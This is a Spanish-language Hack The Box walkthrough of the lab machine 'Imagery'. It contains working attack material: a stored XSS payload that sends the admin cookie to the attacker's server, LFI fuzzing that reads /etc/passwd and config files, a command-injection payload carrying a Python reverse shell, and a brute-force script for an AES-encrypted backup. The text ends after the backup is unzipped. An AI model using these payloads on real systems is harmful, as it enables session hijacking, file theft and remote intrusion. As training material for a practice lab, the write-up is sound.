Imagery - Hack The Box
Esta es una máquina bastante complicada. Después de analizar los escaneos, nos dedicamos a analizar la página web activa en el puerto 8000. En dicha página, creamos un nuevo usuario y probamos las funcionalidades de la página, siendo así que logramos descubrir que un reporte de bugs, es vulnerable a Blind XSS y Stored XSS, logrando secuestrar la sesión (Session Hijacking) de un administrador. Revisando las funcionalidades de la sesión del administrador, identificamos el uso de un parámetro que resulta ser vulnerable a Local File Inclusion (LFI) y Directory Traversal. De esta forma, logramos leer un archivo interno que contiene las contraseñas hasheadas en MD5, que crackeamos y nos logueamos como otro usuario. Analizando la sesión del nuevo usuario, vemos que tiene funcionalidades bloqueadas en otras sesiones al subir una imagen. Analizamos una funcionalidad, descubriendo que es vulnerable a Inyección de Comandos (Command Injection), lo que nos permite mandarnos una Reverse Shell y ganando así, acceso principal a la máquina víctima. Enumerando la máquina, encontramos un archivo ZIP que está encriptado por pyAesCrypt. Utilizamos ChatGPT, para crear un script que aplica fuerza bruta a este archivo encriptado, logrando crackearlo y obteniendo el archivo ZIP. Descomprimiéndolo resulta ser un backup del servidor web, que contiene un archivo JSON con contraseñas hasheadas en MD5 de los usuarios de la máquina víctima, logueándonos como otro usuario. Revisando los privilegios de nuestro usuario, vemos que puede ejecutar el binario charcol como Root, pues dicho binario, permite crear tareas CRON que ejecutan comandos. Abusamos de esta función para darle permisos SUID a la Bash, siendo así que escalamos privilegios y nos convertimos en Root.
Herramientas utilizadas:
- ping
- nmap
- Wappalixer
- whatweb
- php
- BurpSuite
- wfuzz
- Crackstation
- tcpdump
- python3
- nc
- ChatGPT
- pwd
- grep
- wget
- file
- unzip
- sudo
- charcol
- bash
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Identificando Campo Vulnerable a XSS (Blind XSS) y Aplicando Secuestro de Sesión (Session Hijacking) Usando un Stored XSS
- Analizando Sesión de Administrador y Aplicando Local File Inclusion (LFI) en Página Admin Panel
- Analizando Sesión de Usuario testuser y Aplicando Inyección de Comandos (Command Injection) para Obtener una Reverse Shell
- Post Explotación
- Enumeración de la Máquina Víctima y Aplicando Fuerza Bruta a Archivo AES con Script de Python
- Escalando Privilegios Abusando de Permisos Sudoers Sobre Binario charcol
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.88
PING 10.10.11.88 (10.10.11.88) 56(84) bytes of data.
64 bytes from 10.10.11.88: icmp_seq=1 ttl=63 time=69.0 ms
64 bytes from 10.10.11.88: icmp_seq=2 ttl=63 time=75.7 ms
64 bytes from 10.10.11.88: icmp_seq=3 ttl=63 time=344 ms
64 bytes from 10.10.11.88: icmp_seq=4 ttl=63 time=70.2 ms
--- 10.10.11.88 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3013ms
rtt min/avg/max/mdev = 69.019/139.642/343.644/117.807 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.88 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 21:24 CST
Initiating SYN Stealth Scan at 21:24
Scanning 10.10.11.88 [65535 ports]
Discovered open port 22/tcp on 10.10.11.88
Discovered open port 8000/tcp on 10.10.11.88
Discovered open port 7777/tcp on 10.10.11.88
Completed SYN Stealth Scan at 21:24, 27.86s elapsed (65535 total ports)
Nmap scan report for 10.10.11.88
Host is up, received user-set (0.11s latency).
Scanned at 2025-10-03 21:24:23 CST for 28s
Not shown: 51656 closed tcp ports (reset), 13876 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
7777/tcp open cbt syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.00 seconds
Raw packets sent: 137670 (6.057MB) | Rcvd: 56990 (2.280MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo 3 puertos abiertos, aunque me da curiosidad el puerto 8000.
Escaneo de Servicios
nmap -sCV -p 22,7777,8000 10.10.11.88 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 21:27 CST
Nmap scan report for 10.10.11.88
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
7777/tcp open http SimpleHTTPServer 0.6 (Python 3.12.7)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.12 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
El escaneo nos está mostrando que hay 2 páginas web (en realidad solo hay una), pero nos enfocaremos en la página web del puerto 8000 que muestra el uso de Werkzeug.
Análisis de Vulnerabilidades
Analizando Página Web del Puerto 8000 (Werkzeug)
Entremos:
Parece ser una página web dedicada a guardar y personalizar imágenes.
Veamos qué nos dice Wappalizer:
Casi no obtuvimos información sobre las tecnologías que usa la página.
Veamos si whatweb obtiene algo más:
whatweb http://10.10.11.88:8000
http://10.10.11.88:8000 [200 OK] Country[RESERVED][ZZ], Email[support@imagery.com], HTML5, HTTPServer[Werkzeug/3.1.3 Python/3.12.7], IP[10.10.11.88], Python[3.12.7], Script, Title[Image Gallery], Werkzeug[3.1.3]
No encontró algo más, pero sí obtuvo un email que quizá nos sirva para después.
Moviendonos un poco, encontraremos un login y una página donde nos podremos registrar:
No tenemos credenciales para el login, pero podemos registrar un nuevo usuario usando un correo y contraseña para la nueva cuenta:
Una vez que registramos nuestro usuario, nos manda al login:
Ya dentro, nos manda a una galería donde se guardarán las imágenes que carguemos y ahí podemos ver dónde podemos cargar las imágenes:
Analizando la página donde cargamos las imágenes, nos muestra varios tipos de imágenes que son aceptadas para subir:
Quizá podríamos subir una WebShell como si fuera un GIF, pero primero probemos subiendo un GIF random para saber como se almacenan:
No vemos el GIF porque no tiene nada como tal, pero vemos que tiene un símbolo de opciones.
Al verlas, solamente nos deja descargar o eliminar el archivo subido, aunque si le damos clic a las otras opciones desactivadas, nos da un mensaje de que aún están en producción:
Si revisamos la parte de abajo de la página, veremos que hay una opción que nos permite hacer un reporte de un bug:
Al entrar ahí, veremos dos campos de texto:
Podríamos probar si aquí podemos aplicar un XSS.
Explotación de Vulnerabilidades
Identificando Campo Vulnerable a XSS (Blind XSS) y Aplicando Secuestro de Sesión (Session Hijacking) Usando un Stored XSS
Utilicemos un XSS básico para ver dos cosas, cómo funciona el envío de reporte y ver si se ejecuta el XSS:
Por lo que veo, el XSS no se ejecuta y, una vez que enviamos el reporte, nos dan un mensaje en el que se nos indica que el administrador revisará el reporte.
Esto me da a entender algunas cosas:
- Cualquier reporte subido, será revisado por un administrador.
- Si es que existe un XSS Stored, podríamos tratar de obtener la cookie del administrador y suplantar su identidad (Session Hijacking).
Aunque no vimos que se haya ejecutado el XSS, quizá podríamos redirigir la respuesta a un servidor de nosotros (Blind XSS).
Levanta un servidor con PHP:
php -S 0.0.0.0:8888
[Fri Oct 3 23:16:11 2025] PHP 8.4.11 Development Server (http://0.0.0.0:8000) started
Utiliza la siguiente XSS en cada campo:
# Usalo en el Bug Name
<img src="http://Tu_IP:8888/Summary" onerror=alert(window.origin)>
# Usalo en el Bug Details
<img src="http://Tu_IP:8888/Details" onerror=alert(window.origin)>
Envíalo, espera unos momentos y observa el servidor de PHP:
php -S 0.0.0.0:8888
[Fri Oct 3 23:16:11 2025] PHP 8.4.11 Development Server (http://0.0.0.0:8888) started
[Fri Oct 3 23:28:09 2025] 10.10.11.88:37030 Accepted
[Fri Oct 3 23:28:09 2025] 10.10.11.88:37030 [200]: GET /Details
[Fri Oct 3 23:28:09 2025] 10.10.11.88:37030 Closing
Excelente, obtuvimos una respuesta en el campo de Bug Details, siendo este campo el vulnerable a XSS.
Curiosamente, si dejamos el servidor de PHP activo, seguiremos obteniendo respuestas, lo que quiere decir que el payload se almacenó.
Entonces, podemos aplicar un XSS Store para robar la cookie de sesión del administrador.
Usemos el siguiente payload para obtener la Cookie del administrador:
<img src=x onerror="document.location='http://Tu_IP:8888/Cookie/'+document.cookie">
Ponlo en el campo de Bug Details y envíalo:
Observa el servidor de PHP:
php -S 0.0.0.0:8888
[Sun Oct 5 15:30:14 2025] PHP 8.4.11 Development Server (http://0.0.0.0:8888) started
[Sat Oct 4 00:18:08 2025] 10.10.11.88:53642 Accepted
[Sat Oct 4 00:18:08 2025] 10.10.11.88:53642 [200]: GET /Cookie/session=.eJw9jbEO...
[Sat Oct 4 00:18:08 2025] 10.10.11.88:53642 Closing
...
Muy bien, obtuvimos la cookie.
Para cargarla en nuestra sesión actual, podemos usar el inspector y pegar la cookie en la sección Store, en el valor de la cookie:
Ya la cargamos, ahora solo tienes que recargar la página y ya deberíamos ser el administrador:
Ya somos el administrador.
Analizando Sesión de Administrador y Aplicando Local File Inclusion (LFI) en Página Admin Panel
Algo que podemos tratar de ver, es si ya tenemos habilitadas las opciones de producción que no teníamos como un usuario normal sobre una imagen cargada.
Pero al subir nuestro archivo GIF, no veremos las opciones habilitadas:
Ahora, entremos a esa página que dice Admin Panel:
Nota: Quizá tengas problemas para entrar a esta página, ya que es aquí donde se queda cargado el payload XSS Stored, por lo que te recomiendo cargar esta página en otra pestaña y tratar de descargar un log. Eso hace que se elimine el payload y podrás trabajar sin problemas.
Aquí podemos ver los usuarios que se han registrado, siendo el usuario admin y tesuser, unos usuarios pre cargados.
En cada uno podemos descargar sus logs:
Solamente son los logs de inicio de sesión de cada usuario.
Si capturamos la petición de descarga con BurpSuite, veremos el uso de un parámetro:
Ese parámetro llamado log_identifier, parece servir para descargar el archivo log de un usuario.
Esta clase de parámetros que descargar archivos, puede que sean vulnerables a Local File Inclusion.
Podemos comprobarlo con la herramienta wfuzz, usando la cookie de sesión actual y la ruta en donde se usa este parámetro:
wfuzz -c --hc=404 --hh=186 -t 300 -b 'session=cookie' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://10.10.11.88:8000/admin/get_system_log?log_identifier=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.88:8000/admin/get_system_log?log_identifier=FUZZ
Total requests: 929
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000131: 200 23 L 206 W 1136 Ch "/etc/crontab"
000000138: 200 64 L 64 W 866 Ch "/etc/group"
000000023: 200 38 L 54 W 1982 Ch "..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd"
000000021: 500 1 L 8 W 152 Ch "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow"
000000311: 200 38 L 54 W 1982 Ch "../../../../../../etc/passwd&=%3C%3C%3C%3C"
000000016: 200 38 L 54 W 1982 Ch "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
000000017: 500 1 L 8 W 124 Ch "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow"
000000020: 200 38 L 54 W 1982 Ch "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
000000024: 500 1 L 8 W 135 Ch "..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow"
000000408: 500 1 L 8 W 116 Ch "/./././././././././././etc/shadow"
000000409: 500 1 L 8 W 124 Ch "/../../../../../../../../../../etc/shadow"
000000412: 500 1 L 8 W 94 Ch "/etc/shadow"
000000413: 500 1 L 8 W 155 Ch "../../../../../../../../../../../../etc/shadow"
000000400: 200 41 L 120 W 911 Ch "/etc/rpc"
000000399: 200 23 L 142 W 920 Ch "/etc/resolv.conf"
000000135: 200 12 L 90 W 675 Ch "/etc/fstab"
000000422: 200 131 L 429 W 3545 Ch "/etc/ssh/sshd_config"
000000423: 500 1 L 8 W 95 Ch "/etc/sudoers"
000000237: 200 2 L 4 W 20 Ch "/etc/issue"
000000206: 200 9 L 26 W 234 Ch "../../../../../../../../../../../../etc/hosts"
000000259: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000258: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000250: 200 20 L 65 W 526 Ch "/etc/nsswitch.conf"
000000249: 200 19 L 103 W 767 Ch "/etc/netconfig"
000000253: 200 38 L 54 W 1982 Ch "/./././././././././././etc/passwd"
000000254: 200 38 L 54 W 1982 Ch "/../../../../../../../../../../etc/passwd"
000000257: 200 38 L 54 W 1982 Ch "/etc/passwd"
000000129: 200 1 L 7 W 70 Ch "/etc/apt/sources.list"
000000264: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../etc/passwd"
000000274: 200 38 L 54 W 1982 Ch "../../../../../../etc/passwd"
000000208: 200 10 L 57 W 411 Ch "/etc/hosts.allow"
000000260: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../../../../etc/passwd"
000000266: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../etc/passwd"
000000276: 200 38 L 54 W 1982 Ch "../../../../etc/passwd"
000000268: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../etc/passwd"
000000273: 200 38 L 54 W 1982 Ch "../../../../../../../etc/passwd"
000000269: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../etc/passwd"
000000275: 200 38 L 54 W 1982 Ch "../../../../../etc/passwd"
000000261: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../../../etc/passwd"
000000267: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../etc/passwd"
000000205: 200 9 L 26 W 234 Ch "/etc/hosts"
000000272: 200 38 L 54 W 1982 Ch "../../../../../../../../etc/passwd"
000000271: 200 38 L 54 W 1982 Ch "../../../../../../../../../etc/passwd"
000000263: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../etc/passwd"
000000270: 200 38 L 54 W 1982 Ch "../../../../../../../../../../etc/passwd"
000000265: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../etc/passwd"
000000262: 200 38 L 54 W 1982 Ch "../../../../../../../../../../../../../../../../../../etc/passwd"
000000209: 200 17 L 111 W 711 Ch "/etc/hosts.deny"
000000509: 200 0 L 0 W 0 Ch "/proc/self/status"
000000508: 200 0 L 0 W 0 Ch "/proc/self/environ"
000000507: 200 0 L 0 W 0 Ch "/proc/self/cmdline"
000000499: 200 0 L 0 W 0 Ch "/proc/loadavg"
000000498: 200 0 L 0 W 0 Ch "/proc/interrupts"
000000502: 200 0 L 0 W 0 Ch "/proc/net/arp"
000000510: 200 0 L 0 W 0 Ch "/proc/version"
000000506: 200 0 L 0 W 0 Ch "/proc/partitions"
000000503: 200 0 L 0 W 0 Ch "/proc/net/dev"
000000500: 200 0 L 0 W 0 Ch "/proc/meminfo"
000000504: 200 0 L 0 W 0 Ch "/proc/net/route"
000000497: 200 0 L 0 W 0 Ch "/proc/cpuinfo"
000000501: 200 0 L 0 W 0 Ch "/proc/mounts"
000000505: 200 0 L 0 W 0 Ch "/proc/net/tcp"
000000736: 500 1 L 8 W 98 Ch "/var/log/syslog"
000000741: 200 0 L 1 W 8441 Ch "/var/log/wtmp"
000000698: 500 1 L 8 W 100 Ch "/var/log/kern.log"
000000699: 200 0 L 0 W 0 Ch "/var/log/lastlog"
000000671: 500 1 L 8 W 100 Ch "/var/log/auth.log"
000000674: 500 1 L 8 W 97 Ch "/var/log/dmesg"
000000750: 200 0 L 3 W 2687 Ch "/var/run/utmp"
000000929: 200 38 L 54 W 1982 Ch "///////../../../etc/passwd"
Total time: 0
Processed Requests: 929
Filtered Requests: 859
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
–hh | Para no mostrar respuestas con la cantidad de caracteres especificada. |
-t | Para indicar la cantidad de hilos a usar. |
-b | Para usar una cookie de sesión. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Excelente, es vulnerable.
Pero analizando la respuesta, parece que también es vulnerable a Path Traversal / Directory Traversal.
Comprobemos ambos:
Es vulnerable a ambos.
Algo que podemos hacer, ya que es un servidor Werkzeug, es ver los archivos locales comunes de este servidor. Por ejemplo:
- app.py
- config.py
- utils.py
Nos enfocaremos en el archivo config.py, así que tratemos de leerlo:
Lo encontramos.
Observa que el archivo menciona el uso de un archivo llamado db.json.
Vamos a verlo:
Excelente, hemos encontrado las contraseñas de los dos usuarios registrados en la página web.
Sus contraseñas parecen ser codificadas en MD5.
Las podemos intentar crackear con la página Crackstation:
Probémoslo:
No pudimos crackear la contraseña del usuario admin, pero sí la del usuario testuser.
Analizando Sesión de Usuario testuser y Aplicando Inyección de Comandos (Command Injection) para Obtener una Reverse Shell
Entremos a su sesión:
En esta sesión, ya tendremos habilitadas las opciones que antes no teníamos al subir una imagen:
Vemos que hay varias funcionalidades, pero la interesante, es la funcionalidad Transform Image:
Dentro de esta funcionalidad, tenemos algunas operaciones para modificar varias cosillas de la imagen, como el tamaño, el brillo, la saturación, etc.
Vamos a enfocarnos en la operación Crop que es para modificar el tamaño de la imagen y capturamos la ejecución de la operación:
Observa cómo la data se envía en un formato JSON:
- Se necesita el ID de la imagen para modificarla. En caso de que borren tu imagen, necesitarás capturar de nuevo la petición con otra imagen.
- Ahí se muestra la operación usada.
- Y los parámetros son los que indican cómo modificar el tamaño de la imagen.
Pensando un poco cómo es que se modifica la imagen, supongamos que usan alguna librería que sirve necesita X cantidad de parámetros.
Es posible que entre esos parámetros dados, podamos inyectar algún comando, así que intentémoslo en cualquiera de los parámetros.
Tratando de listar los archivos, parece que funciona a mediar, siendo que nos muestra un error al usar el comando ls:
El comando sleep sí funciona dentro del parámetro:
También el comando curl:
Ya comprobamos que sí se pueden ejecutar algunos comandos, pero tendremos problemas intentando inyectar nuestra Reverse Shell de Bash.
Otra opción es el uso de python3 para ejecutar comandos, que al probarlo, no se ve que se ejecute el comando, pero la página toma el parámetro como correcto y no muestra error:
Intentemos mandarnos una traza ICMP.
Abre un capturador de paquetes ICMP con tcpdump:
tcpdump -i eth0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Usa el siguiente comando que envía un ping con solo un paquete:
"0; python3 -c 'import os;os.system(\"ping -c 1 Tu_IP\")'"
Observa el tcpdump:
tcpdump -i eth0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
21:25:43.382411 IP 192.168.100.1 > Tu_IP: ICMP echo request, id 18, seq 0, length 64
21:25:43.382432 IP Tu_IP > 192.168.100.1: ICMP echo reply, id 18, seq 0, length 64
...
8 packets captured
8 packets received by filter
0 packets dropped by kernel
Excelente, si funciona la inyección y tenemos conexión con la máquina víctima.
Vamos a mandarnos una Reverse Shell.
Abre un listener con netcat:
nc -nvlp 443
listening on [any] 443 ...
Usa la siguiente Reverse Shell:
"0; python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"Tu_IP\",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")'"
Y envíala.
Observa la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.88] 35258
web@Imagery:~/web$ whoami
whoami
web
Ya solo obtengamos una sesión interactiva:
# Paso 1:
script /dev/null -c bash
# Paso 2:
CTRL + Z
# Paso 3:
stty raw -echo; fg
# Paso 4:
reset -> xterm
# Paso 5:
export TERM=xterm && export SHELL=bash && stty rows 51 columns 189
Post Explotación
Enumeración de la Máquina Víctima y Aplicando Fuerza Bruta a Archivo AES con Script de Python
Al ganar acceso, estamos dentro del directorio web donde está desplegado el servidor de la página:
web@Imagery:~/web$ pwd
/home/web/web
web@Imagery:~/web$ ls
api_admin.py api_edit.py api_misc.py app.py config.py env static templates utils.py
api_auth.py api_manage.py api_upload.py bot db.json __pycache__ system_logs uploads
El script vulnerable a inyección de comandos es el api_edit.py, siendo la parte donde maneja los parámetros la que no sanitiza la entrada de estos, lo que permitió la inyección:
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
Solo la operación Crop es la que parece ser vulnerable.
Veamos qué usuarios existen en la máquina:
web@Imagery:~$ cat /etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
Hay 2 usuarios aparte del Root y ahora somos el usuario web.
Buscando un poco más, encontramos un directorio de Google Chrome en el directorio /opt
:
web@Imagery:~$ ls /opt/google/chrome/
chrome CHROME_VERSION_EXTRA icudtl.dat libvk_swiftshader.so product_logo_16.png product_logo_64.png xdg-settings
chrome_100_percent.pak cron libEGL.so libvulkan.so.1 product_logo_24.png resources.pak
chrome_200_percent.pak default-app-block libGLESv2.so locales product_logo_256.png v8_context_snapshot.bin
chrome_crashpad_handler default_apps liboptimization_guide_internal.so MEIPreload product_logo_32.png vk_swiftshader_icd.json
chrome-management-service extensions libqt5_shim.so PrivacySandboxAttestationsPreloaded product_logo_32.xpm WidevineCdm
chrome-sandbox google-chrome libqt6_shim.so product_logo_128.png product_logo_48.png xdg-mime
Pero de momento no encuentro algo útil por aquí.
Un directorio que siempre hay que revisar, es el /var/backup
, pues puede contener algún backup hecho por un usuario, siendo este el caso:
web@Imagery:~$ ls -la /var/backup
total 22524
drwxr-xr-x 2 root root 4096 Sep 22 18:56 .
drwxr-xr-x 14 root root 4096 Sep 22 18:56 ..
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 web_20250806_120723.zip.aes
Vamos a enviar este archivo a nuestra máquina, usando un servidor de python3:
web@Imagery:~$ cd /var/backup
web@Imagery:/var/backup$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
Y lo descargamos con wget:
wget http://10.10.11.88:1337/web_20250806_120723.zip.aes
Listo, analicemos el archivo.
Usando el comando file, nos da un poco más de información:
file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
Es un archivo encriptado en AES por pyAesCrypt 6.1.1.
Investiguemos qué es el encriptado AES:
Encriptado AES |
---|
AES (Advanced Encryption Standard) es uno de los algoritmos de cifrado simétrico más utilizados en la actualidad. Fue adoptado como estándar por el gobierno de los EE. UU. en 2001, reemplazando a DES (Data Encryption Standard). Usa una sola clave para cifrar y descifrar los datos, ósea que, quien tenga la clave puede recuperar el mensaje original. AES cifra la información en bloques de 128 bits (16 bytes) y puede usar claves de 128, 192 o 256 bits. |
Me apoyé mucho con ChatGTP, ya que no conozco el uso de la librería pyAesCrypt, que fue usada para encriptar este archivo.
Tengo un script hecho por ChatGTP que aplica fuerza bruta al archivo encriptado y él obtiene el contenido, guardándolo en un archivo ZIP.
Para usarlo, primero necesitamos tener instalada la librería pyAesCrypt.
Instalémosla usando un ambiente virtual de Python3:
python3 -m venv venv
source venv/bin/activate
pip install pyaescrypt
Aquí te dejo el script:
#!/usr/bin/env python3
"""
bruteforce_aes.py
Brute-force a un archivo .aes usando pyAesCrypt y un wordlist.
Verifica el resultado comprobando el magic bytes de ZIP ("PK\x03\x04").
Uso:
python3 bruteforce_aes.py -f web_20250806_120723.zip.aes -w wordlist.txt
Opciones:
-f --file : archivo .aes objetivo
-w --wordlist : wordlist (una contraseña por línea)
-b --buffer : buffer size en bytes (por defecto 64KB)
-s --startline : línea de inicio (útil para reanudar) (1-indexed)
-v --verbose : modo verboso
"""
import argparse
import tempfile
import os
import sys
import pyAesCrypt
import shutil
ZIP_MAGIC = b"PK\x03\x04"
def try_password(aes_file, password, buffer_size):
# escribe a un fichero temporal
fd, tmp_path = tempfile.mkstemp(prefix="aescrack_", suffix=".dec")
os.close(fd)
try:
# pyAesCrypt.decryptFile(inFile, outFile, password, bufferSize)
pyAesCrypt.decryptFile(aes_file, tmp_path, password, buffer_size)
except Exception as e:
# La decryption falló: limpiamos y devolvemos False
try:
os.remove(tmp_path)
except Exception:
pass
return False, str(e)
# Si decryptFile no lanzó error, comprobamos magic bytes
try:
with open(tmp_path, "rb") as f:
head = f.read(4)
except Exception as e:
try:
os.remove(tmp_path)
except Exception:
pass
return False, "no_read"
if head.startswith(ZIP_MAGIC):
# éxito
return True, tmp_path
else:
# no es un ZIP válido: borramos
try:
os.remove(tmp_path)
except Exception:
pass
return False, "magic_mismatch"
def main():
parser = argparse.ArgumentParser(description="Brute-force .aes with pyAesCrypt (lab only)")
parser.add_argument("-f", "--file", required=True, help="archivo .aes objetivo")
parser.add_argument("-w", "--wordlist", required=True, help="wordlist (una contraseña por línea)")
parser.add_argument("-b", "--buffer", type=int, default=64*1024, help="buffer size en bytes (default 65536)")
parser.add_argument("-s", "--startline", type=int, default=1, help="línea desde la que empezar (1-indexed)")
parser.add_argument("-v", "--verbose", action="store_true", help="modo verboso")
args = parser.parse_args()
aes_file = args.file
wordlist = args.wordlist
buf = args.buffer
start = max(1, args.startline)
if not os.path.isfile(aes_file):
print("Error: archivo AES no encontrado:", aes_file)
sys.exit(1)
if not os.path.isfile(wordlist):
print("Error: wordlist no encontrada:", wordlist)
sys.exit(1)
total = None
try:
# contar líneas para info (si es grande puede tardar; ignoramos si falla)
with open(wordlist, "rb") as f:
total = sum(1 for _ in f)
except Exception:
total = None
print(f"Objetivo: {aes_file}")
print(f"Wordlist: {wordlist} (total aprox: {total or 'desconocido'})")
print(f"Buffer size: {buf} bytes")
print(f"Comenzando en línea: {start}")
print("Presiona Ctrl+C para detener y poder reanudar después con --startline.")
try:
with open(wordlist, "r", errors="ignore") as w:
for lineno, raw in enumerate(w, start=1):
if lineno < start:
continue
pw = raw.rstrip("\r\n")
if not pw:
continue
if args.verbose:
print(f"[{lineno}] Probando: {pw!r} ...", end="", flush=True)
success, info = try_password(aes_file, pw, buf)
if success:
dec_path = info
print("\n\n=== CONTRASEÑA ENCONTRADA ===")
print("Línea:", lineno)
print("Password:", pw)
print("Fichero desencriptado válido:", dec_path)
print("Puedes moverlo con: mv", dec_path, "./recovered.zip")
# opcional: renombrar automáticamente
try:
shutil.move(dec_path, os.path.join(os.getcwd(), "recovered.zip"))
print("Movido a recovered.zip")
except Exception:
pass
return 0
else:
if args.verbose:
print(" fallo ->", info)
else:
# imprimimos progreso simple
if lineno % 100 == 0:
print(f"Probadas {lineno} contraseñas...", flush=True)
except KeyboardInterrupt:
print("\nDetenido por usuario. Puedes reanudar usando --startline", lineno+1)
return 2
print("\nFin de wordlist — contraseña NO encontrada.")
return 1
if __name__ == "__main__":
sys.exit(main())
Antes de ejecutarla, te recomiendo darle permisos de ejecución con chmod.
Ejecutemos el script:
python3 bruteforce_aes.py -f web_20250806_120723.zip.aes -w /usr/share/wordlists/rockyou.txt
Objetivo: web_20250806_120723.zip.aes
Wordlist: /usr/share/wordlists/rockyou.txt (total aprox: 14344392)
Buffer size: 65536 bytes
Comenzando en línea: 1
Presiona Ctrl+C para detener y poder reanudar después con --startline.
Probadas 100 contraseñas...
Probadas 200 contraseñas...
Probadas 300 contraseñas...
Probadas 400 contraseñas...
Probadas 500 contraseñas...
Probadas 600 contraseñas...
=== CONTRASEÑA ENCONTRADA ===
Línea: 670
Password: bestfriends
Fichero desencriptado válido: /tmp/aescrack_wtozgzo0.dec
Puedes moverlo con: mv /tmp/aescrack_wtozgzo0.dec ./recovered.zip
Movido a recovered.zip
Excelente, tenemos la contraseña y tenemos el archivo ZIP resultante.
Vamos a descomprimirlo:
unzip recovered.zip
Esto nos dio un directorio llamado web, pues resulta ser un backup del servidor web de la máquina víctima:
cd web
ls
api_admin.py api_auth.py api_edit.py api_manage.py api_misc.py api_upload.py app.py config.py db.json env __pycache__ system_logs templates utils.py
